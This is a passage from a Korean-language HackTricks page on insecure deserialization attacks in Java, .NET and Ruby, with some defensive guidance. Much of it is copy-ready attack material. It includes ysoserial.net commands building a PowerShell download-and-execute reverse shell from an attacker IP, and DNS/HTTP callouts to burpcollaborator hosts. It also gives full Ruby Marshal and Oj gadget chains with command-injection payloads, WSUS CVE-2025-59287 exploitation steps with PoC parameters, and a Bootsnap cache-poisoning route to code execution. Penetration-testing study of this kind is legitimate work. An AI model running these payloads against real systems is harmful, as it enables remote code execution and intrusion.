허용된 클래스만 deserialization 되도록 제한하려면 resolveClass() 메서드를 오버라이드하세요. 이렇게 하면 명시적으로 허용된 클래스(예: 다음 예제에서 Bicycle 클래스만 deserialization을 허용) 이외의 모든 클래스는 deserialization되지 않도록 방지합니다:

// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

보안 강화를 위한 Java Agent 사용은 코드 수정을 할 수 없을 때의 대체 해결책을 제공합니다. 이 방법은 주로 JVM 파라미터를 사용하여 blacklisting harmful classes에 적용됩니다:

-javaagent:name-of-agent.jar

이는 즉시 코드 변경이 실용적이지 않은 환경에서 특히 유용한, 동적으로 deserialization을 안전하게 처리하는 방법을 제공합니다.

예제는 rO0 by Contrast Security에서 확인하세요

Implementing Serialization Filters: Java 9은 ObjectInputFilter 인터페이스를 통해 serialization filters를 도입하여, serialized objects가 deserialized되기 전에 충족해야 하는 기준을 지정할 수 있는 강력한 메커니즘을 제공합니다. 이러한 filters는 전역적으로 또는 스트림별로 적용할 수 있어 deserialization 프로세스를 세밀하게 제어할 수 있습니다.

serialization filters를 사용하려면, 모든 deserialization 작업에 적용되는 global filter를 설정하거나 특정 streams에 대해 동적으로 구성할 수 있습니다. 예:

ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

외부 라이브러리를 활용한 보안 강화: NotSoSerial, jdeserialize, Kryo와 같은 라이브러리는 Java deserialization을 제어하고 모니터링하기 위한 고급 기능을 제공합니다. 이러한 라이브러리는 클래스 화이트리스트/블랙리스트 적용, 역직렬화 전에 직렬화된 객체 분석, 사용자 정의 직렬화 전략 구현 등 추가적인 보안 계층을 제공할 수 있습니다.

  • NotSoSerial은 역직렬화 프로세스를 가로채 신뢰할 수 없는 코드의 실행을 방지합니다.
  • jdeserialize는 객체를 실제로 역직렬화하지 않고 직렬화된 Java 객체를 분석하여 잠재적으로 악의적인 내용을 식별할 수 있게 해줍니다.
  • Kryo는 속도와 효율성에 중점을 둔 대체 직렬화 프레임워크로, 보안을 향상시킬 수 있는 구성 가능한 직렬화 전략을 제공합니다.

References

JNDI Injection & log4Shell

다음 페이지에서 JNDI Injection이 무엇인지, RMI, CORBA & LDAP를 통해 이를 어떻게 악용하는지, 그리고 log4shell을 어떻게 익스플로잇하는지(그리고 이 취약점의 예제)를 확인하세요:

JNDI - Java Naming and Directory Interface & Log4Shell

JMS - Java Message Service

Java Message Service (JMS) API는 두 개 이상의 클라이언트 간에 메시지를 전송하기 위한 Java 메시지 지향 미들웨어 API입니다. 이는 producer–consumer 문제를 처리하기 위한 구현입니다. JMS는 Java Platform, Enterprise Edition (Java EE)의 일부이며, 원래 Sun Microsystems에서 개발된 사양에 의해 정의되었고 이후 Java Community Process에서 관리되어 왔습니다. 이는 Java EE 기반 애플리케이션 컴포넌트가 메시지를 생성, 전송, 수신 및 읽을 수 있게 해주는 메시징 표준입니다. 분산 애플리케이션의 서로 다른 구성 요소 간 통신을 느슨하게 결합되고 신뢰할 수 있으며 비동기적으로 만들 수 있게 해줍니다. (출처: Wikipedia).

Products

이 미들웨어를 사용하여 메시지를 전송하는 여러 제품이 있습니다:

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

Exploitation

요약하면, JMS를 위험한 방식으로 사용하는 많은 서비스들이 존재합니다. 따라서 이러한 서비스에 메시지를 보낼 수 있는 충분한 권한(보통 유효한 자격증명이 필요함)이 있다면, 직렬화된 악성 객체를 전송하여 소비자/구독자가 이를 역직렬화하도록 만들 수 있습니다.
이 경우 해당 메시지를 사용하게 될 모든 클라이언트가 감염될 수 있습니다.

서비스가 취약하더라도(사용자 입력을 안전하지 않게 역직렬화하는 경우) 취약점을 악용하려면 여전히 적절한 gadgets를 찾아야 합니다.

JMET는 이러한 서비스에 연결해 여러 알려진 gadgets를 사용해 직렬화된 악성 객체들을 전송하여 공격하도록 만들어졌습니다. 이 익스플로잇들은 서비스가 여전히 취약하고 사용된 gadgets 중 적어도 하나가 취약한 애플리케이션 안에 존재할 때 동작합니다.

References

.Net

.Net 컨텍스트에서 역직렬화 익스플로잇은 Java에서와 유사하게 동작하며, 객체의 역직렬화 과정에서 특정 코드를 실행하도록 gadgets가 악용됩니다.

Fingerprint

WhiteBox

소스 코드를 검사하여 다음 항목들이 있는지 확인해야 합니다:

  1. TypeNameHandling
  2. JavaScriptTypeResolver

중점은 타입을 사용자 제어 변수로부터 결정하게 허용하는 serializer들에 두어야 합니다.

BlackBox

서버 쪽에서 역직렬화되어 역직렬화될 타입을 제어할 수 있게 하는 Base64 인코딩 문자열 AAEAAAD///// 또는 유사한 패턴을 찾아야 합니다. 여기에는 TypeObject 또는 $type을 포함한 JSON 또는 XML 구조 등이 포함될 수 있습니다.

ysoserial.net

이 경우 ysoserial.net 도구를 사용하여 역직렬화 익스플로잇을 생성할 수 있습니다. git 리포지토리를 다운로드한 후 Visual Studio 등으로 도구를 컴파일해야 합니다.

ysoserial.net이 익스플로잇을 어떻게 생성하는지 알고 싶다면 ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter가 설명된 페이지를 확인하세요.

ysoserial.net의 주요 옵션은: --gadget, --formatter, --output--plugin 입니다.

  • **--gadget**는 악용할 gadget(역직렬화 중 명령 실행을 위해 악용될 클래스/함수)을 지정하는 데 사용됩니다.
  • **--formatter**는 익스플로잇을 직렬화할 방법을 지정하는 데 사용됩니다(백엔드가 페이로드를 역직렬화할 때 사용하는 라이브러리를 알고 동일한 것으로 직렬화해야 함).
  • **--output**은 익스플로잇을 raw 또는 base64로 출력할지 지정합니다. 참고: ysoserial.net은 페이로드를 기본적으로 UTF-16LE(Windows에서 기본 사용되는 인코딩)로 인코딩하므로 raw를 받아 리눅스 콘솔에서 단순히 인코딩을 변경하면 인코딩 호환성 문제로 익스플로잇이 제대로 동작하지 않을 수 있습니다(HTB JSON 박스에서는 페이로드가 UTF-16LE와 ASCII 둘 다에서 동작했지만 항상 보장되는 것은 아닙니다).
  • --plugin ysoserial.net은 ViewState와 같은 특정 프레임워크에 대한 익스플로잇을 제작하기 위한 플러그인을 지원합니다.

More ysoserial.net parameters

  • --minify는 가능한 경우 더 작은 페이로드를 제공합니다.
  • --raf -f Json.Net -c "anything"는 제공된 formatter(Json.Net인 경우)와 함께 사용할 수 있는 모든 gadgets를 표시합니다.
  • --sf xmlgadget을 지정하고(-g) ysoserial.net이 “xml“을 포함하는 formatter들을 검색하도록 할 수 있습니다(대소문자 구분 없음).

ysoserial examples to create exploits:

#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net에는 각 exploit의 동작을 더 잘 이해하는 데 도움이 되는 매우 흥미로운 매개변수가 하나 더 있습니다: --test
이 매개변수를 지정하면 ysoserial.nettry the exploit locally, 하여 payload가 제대로 동작하는지 확인할 수 있습니다.
이 매개변수는 유용한데, 코드를 검토하면 다음과 같은 코드 조각들을 찾을 수 있기 때문입니다 (from ObjectDataProviderGenerator.cs):

if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

즉, exploit을 테스트하기 위해 code는 serializersHelper.JsonNet_deserialize를 호출할 것이다.

public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

이전 코드는 생성된 익스플로잇에 취약합니다. 따라서 .Net 애플리케이션에서 유사한 것을 발견하면 해당 애플리케이션도 취약할 가능성이 높습니다.
따라서 --test 매개변수는 ysoserial.net이 생성할 수 있는 역직렬화 익스플로잇에 대해 어떤 코드 조각들이 취약한지를 파악할 수 있게 해줍니다.

ViewState

다음 글을 참고하세요: this POST about how to try to exploit the __ViewState parameter of .Net to execute arbitrary code. 만약 피해자 머신에서 사용된 비밀값을 이미 알고 있다면, read this post to know to execute code.

Real‑world sink: WSUS AuthorizationCookie & Reporting SOAP → BinaryFormatter/SoapFormatter RCE

  • 영향받는 엔드포인트:
  • /SimpleAuthWebService/SimpleAuth.asmx → GetCookie() AuthorizationCookie가 복호화된 다음 BinaryFormatter로 역직렬화됩니다.
  • /ReportingWebService.asmx → ReportEventBatch 및 관련 SOAP 작업이 SoapFormatter 싱크에 도달함; WSUS 콘솔이 이벤트를 수신할 때 base64 gadget가 처리됩니다.
  • 근본 원인: 공격자가 제어하는 바이트가 엄격한 allow‑lists/binders 없이 legacy .NET formatters (BinaryFormatter/SoapFormatter)에 도달하여 gadget 체인이 WSUS 서비스 계정(종종 SYSTEM)으로 실행됩니다.

최소 익스플로잇(Reporting 경로):

  1. ysoserial.net으로 .NET gadget을 생성하고 (BinaryFormatter 또는 SoapFormatter) base64로 출력합니다. 예:
# Reverse shell (EncodedCommand) via BinaryFormatter
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -o base64 -c "powershell -NoP -W Hidden -Enc <BASE64_PS>"

# Simple calc via SoapFormatter (test)
ysoserial.exe -g TypeConfuseDelegate -f SoapFormatter -o base64 -c "calc.exe"
  1. ReportEventBatch용 SOAP을 생성하여 base64 gadget을 임베드한 뒤 /ReportingWebService.asmx로 POST합니다.
  2. 관리자가 WSUS 콘솔을 열면 이벤트가 역직렬화되고 gadget이 실행되어 (SYSTEM 권한으로 RCE)가 발생합니다.

AuthorizationCookie / GetCookie()

  • 위조된 AuthorizationCookie는 수락되어 복호화된 후 BinaryFormatter sink로 전달될 수 있으며, 접근 가능하면 pre‑auth RCE를 가능하게 합니다.

Public PoC (tecxx/CVE-2025-59287-WSUS) parameters:

$lhost = "192.168.49.51"
$lport = 53
$targetURL = "http://192.168.51.89:8530"

참조 Windows Local Privilege Escalation – WSUS

예방

.Net에서 deserialization과 관련된 위험을 완화하려면:

  • 데이터 스트림이 객체 타입을 정의하도록 허용하지 마십시오. 가능한 경우 DataContractSerializer 또는 XmlSerializer를 사용하세요.
  • JSON.Net의 경우 TypeNameHandlingNone으로 설정하십시오: TypeNameHandling = TypeNameHandling.None
  • JavaScriptSerializerJavaScriptTypeResolver와 함께 사용하지 마십시오.
  • deserialized할 수 있는 타입을 제한하십시오, System.IO.FileInfo와 같은 .Net 타입은 서버 파일의 속성을 변경할 수 있어서 서비스 거부(denial of service) 공격으로 이어질 수 있는 고유한 위험이 있습니다.
  • 위험한 속성을 가진 타입에 주의하세요, 예: System.ComponentModel.DataAnnotations.ValidationExceptionValue 속성은 악용될 수 있습니다.
  • 타입 인스턴스화를 안전하게 제어하세요 공격자가 deserialization 프로세스에 영향을 주는 것을 방지하지 못하면 DataContractSerializerXmlSerializer도 취약해질 수 있습니다.
  • 화이트리스트 제어를 구현하세요 BinaryFormatterJSON.Net에 대해 커스텀 SerializationBinder를 사용하여.
  • .Net 내 알려진 insecure deserialization gadgets에 대해 정보를 유지하고, deserializer가 그러한 타입을 인스턴스화하지 않도록 하세요.
  • 잠재적으로 위험한 코드를 인터넷 접근 코드와 격리하세요, WPF 애플리케이션의 System.Windows.Data.ObjectDataProvider와 같은 알려진 gadgets가 신뢰할 수 없는 데이터 소스에 노출되는 것을 방지하기 위해.

참고자료

Ruby

Ruby에서는 serialization이 marshal 라이브러리의 두 메서드로 제공됩니다. 첫 번째 메서드인 dump는 객체를 바이트 스트림으로 변환하는 데 사용됩니다. 이 과정을 serialization이라고 합니다. 반대로 두 번째 메서드인 load는 바이트 스트림을 다시 객체로 되돌리는 데 사용되며, 이를 deserialization이라고 합니다.

직렬화된 객체를 보호하기 위해, **Ruby는 HMAC (Hash-Based Message Authentication Code)**를 사용하여 데이터의 무결성과 진위성을 보장합니다. 이 목적에 사용되는 키는 다음 위치 중 하나에 저장됩니다:

  • config/environment.rb
  • config/initializers/secret_token.rb
  • config/secrets.yml
  • /proc/self/environ

Ruby 2.X generic deserialization to RCE gadget chain (자세한 정보는 https://www.elttam.com/blog/ruby-deserialization/):

#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Ruby On Rails를 익스플로잇하기 위한 다른 RCE 체인: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

Ruby .send() method

this vulnerability report에서 설명한 것처럼, 사용자의 검증되지 않은 입력이 ruby 객체의 .send() 메서드에 도달하면, 이 메서드는 객체의 어떤 다른 메서드든 어떤 매개변수로든 호출할 수 있게 합니다.

예를 들어, eval을 호출하고 두 번째 매개변수로 ruby 코드를 넣으면 임의의 코드를 실행할 수 있습니다:

<Object>.send('eval', '<user input with Ruby code>') == RCE

게다가, 이전 writeup에서 언급한 것처럼 공격자가 **.send()**의 매개변수 하나만 제어할 수 있다면, 인자를 필요로 하지 않거나 인자에 기본값이 있는 객체의 어떤 메서드든 호출할 수 있다.
이를 위해 객체의 모든 메서드를 열거하여 해당 요구사항을 만족하는 흥미로운 메서드들을 찾아낼 수 있다.

<Object>.send('<user_input>')

# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1)  # get first repo
repo_methods = [           # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()

repo_methods.length()      # Initial number of methods => 5542

## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595

Ruby class pollution

어떻게 가능한지 확인하세요: pollute a Ruby class and abuse it in here.

Ruby _json pollution

요청 본문(body)에 배열처럼 해시화할 수 없는 값들을 보내면 해당 값들은 새로운 키 _json에 추가됩니다. 그러나 공격자는 본문에 _json이라는 이름으로 자신이 원하는 임의의 값을 설정할 수도 있습니다. 예를 들어 백엔드가 어떤 파라미터의 진위 여부를 확인하지만 이후 _json 파라미터를 사용해 동작을 수행한다면 권한 우회가 발생할 수 있습니다.

자세한 내용은 Ruby _json pollution page에서 확인하세요.

Other libraries

이 기법은 from this blog post에서 가져왔습니다.

객체를 serialize하는 데 사용되는 다른 Ruby 라이브러리들이 있으며, 이들 때문에 insecure deserialization 상황에서 RCE를 얻기 위해 악용될 수 있습니다. 다음 표는 이러한 라이브러리들 중 일부와 언직렬화될 때 로드된 클래스에서 호출되는 메서드(기본적으로 RCE를 얻기 위해 악용할 함수)를 보여줍니다:

라이브러리입력 데이터클래스 내 트리거 메서드
Marshal (Ruby)Binary_load
OjJSONhash (class needs to be put into hash(map) as key)
OxXMLhash (class needs to be put into hash(map) as key)
Psych (Ruby)YAMLhash (class needs to be put into hash(map) as key)
init_with
JSON (Ruby)JSONjson_create ([see notes regarding json_create at end](#table-vulnerable-sinks))

Basic example:

# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end

def hash
system(@cmd)
end
end

# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload

# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)

Oj를 악용하려 할 때, hash 내부에서 to_s → spec → fetch_path가 호출되도록 하는 gadget class를 찾아 임의의 URL을 fetch하게 만들 수 있었고, 이는 이러한 unsanitized deserialization vulnerabilities를 탐지하는 훌륭한 detector가 되었다.

{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}

또한 이전 기법으로 시스템에 폴더가 생성되는 것이 확인되었으며, 이는 다른 gadget을 악용해 이를 완전한 RCE로 바꾸기 위한 전제 조건이다. 예를 들면:

{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}

Check for more details in the original post.

Bootstrap Caching

Not really a desearilization vuln but a nice trick to abuse bootstrap caching to to get RCE from a rails application with an arbitrary file write (find the complete original post in here).

아래는 Bootsnap 캐싱을 악용하여 arbitrary file write 취약점을 통해 RCE를 얻는 방법에 대한 글에서 요약한 단계입니다:

  • Identify the Vulnerability and Environment

    Rails 앱의 파일 업로드 기능이 공격자에게 파일을 임의로 쓸 수 있는 권한을 줍니다. 애플리케이션이 제한된 권한(예: Docker의 non-root 사용자로 인해 tmp 같은 특정 디렉토리만 쓰기가 가능)으로 실행되더라도, 이것은 Bootsnap 캐시 디렉토리(일반적으로 tmp/cache/bootsnap)에 파일을 쓸 수 있게 해 줍니다.

  • Understand Bootsnap’s Cache Mechanism

    Bootsnap은 컴파일된 Ruby 코드, YAML, JSON 파일을 캐시하여 Rails 부팅 시간을 단축합니다. 캐시 파일은 cache key 헤더(예: Ruby 버전, 파일 크기, mtime, compile options 등 필드를 포함)와 그 뒤를 따르는 컴파일된 코드로 구성됩니다. 이 헤더는 앱 시작 시 캐시의 유효성을 검증하는 데 사용됩니다.

  • Gather File Metadata

    공격자는 먼저 Rails 시작 시 로드될 가능성이 높은 대상 파일(예: Ruby 표준 라이브러리의 set.rb)을 선택합니다. 컨테이너 내부에서 Ruby 코드를 실행하여 RUBY_VERSION, RUBY_REVISION, size, mtime, 그리고 compile_option 같은 중요한 메타데이터를 추출합니다. 이 데이터는 유효한 cache key를 제작하는 데 필수적입니다.

  • Compute the Cache File Path

    Bootsnap의 FNV-1a 64-bit 해시 메커니즘을 복제하여 올바른 캐시 파일 경로를 결정합니다. 이 단계는 악성 캐시 파일이 Bootsnap이 기대하는 정확한 위치(예: tmp/cache/bootsnap/compile-cache-iseq/)에 놓이도록 보장합니다.

  • Craft the Malicious Cache File

    공격자는 다음을 수행하는 페이로드를 준비합니다:

    • 임의 명령 실행(예: 프로세스 정보를 보기 위한 id 실행).
    • 재귀적 악용을 방지하기 위해 실행 후 악성 캐시를 제거.
    • 애플리케이션 충돌을 피하기 위해 원본 파일(e.g., set.rb) 로드.

    이 페이로드는 바이너리 Ruby 코드로 컴파일되고, 앞서 수집한 메타데이터와 올바른 버전 번호를 사용해 정교하게 구성된 cache key 헤더와 연결됩니다.

  • Overwrite and Trigger Execution

    arbitrary file write 취약점을 이용해 공격자는 생성한 캐시 파일을 계산된 위치에 씁니다. 다음으로 서버 재시작을 트리거(예: Puma가 모니터링하는 tmp/restart.txt에 쓰기)합니다. 재시작 중 Rails가 타깃 파일을 require할 때, 악성 캐시 파일이 로드되어 remote code execution(RCE)이 발생합니다.

Ruby Marshal exploitation in practice (updated)

Marshal.load/marshal_load로 신뢰할 수 없는 바이트가 도달하는 모든 경로를 RCE sink로 간주하세요. Marshal은 임의의 객체 그래프를 재구성하고 materialization 중에 라이브러리/젬 콜백을 트리거합니다.

  • Minimal vulnerable Rails code path:
class UserRestoreController < ApplicationController
def show
user_data = params[:data]
if user_data.present?
deserialized_user = Marshal.load(Base64.decode64(user_data))
render plain: "OK: #{deserialized_user.inspect}"
else
render plain: "No data", status: :bad_request
end
end
end
  • 실제 체인에서 흔히 보이는 gadget classes: Gem::SpecFetcher, Gem::Version, Gem::RequestSet::Lockfile, Gem::Resolver::GitSpecification, Gem::Source::Git.
  • 페이로드에 포함된 전형적인 side-effect marker (unmarshal 중 실행):
*-TmTT="$(id>/tmp/marshal-poc)"any.zip

실제 앱에서 나타나는 곳:

  • Rails 캐시 스토어와 세션 스토어(역사적으로 Marshal 사용)
  • 백그라운드 작업 백엔드 및 파일 기반 객체 저장소
  • 바이너리 객체 블롭의 커스텀 영속화 또는 전송

체계화된 gadget 탐지:

  • 생성자, hash, _load, init_with 또는 unmarshal 중 호출되는 부작용 있는 메서드를 grep으로 탐색
  • CodeQL의 Ruby unsafe deserialization 쿼리를 사용해 sources → sinks를 추적하고 gadget을 찾아내기
  • 공개된 다중 포맷 PoCs(JSON/XML/YAML/Marshal)로 검증

References

  • Trail of Bits – Marshal madness: A brief history of Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
  • elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
  • Phrack #69 – Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
  • CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
  • ZDI – RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
  • Include Security – Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
  • GitHub Security Lab – Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
  • GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
  • Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
  • Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
  • Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
  • Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
  • Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
  • Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
  • watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/
  • OffSec – CVE-2025-59287 WSUS unsafe deserialization (blog)
  • PoC – tecxx/CVE-2025-59287-WSUS
  • RSC Report Lab – CVE-2025-55182 (React 19.2.0)

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기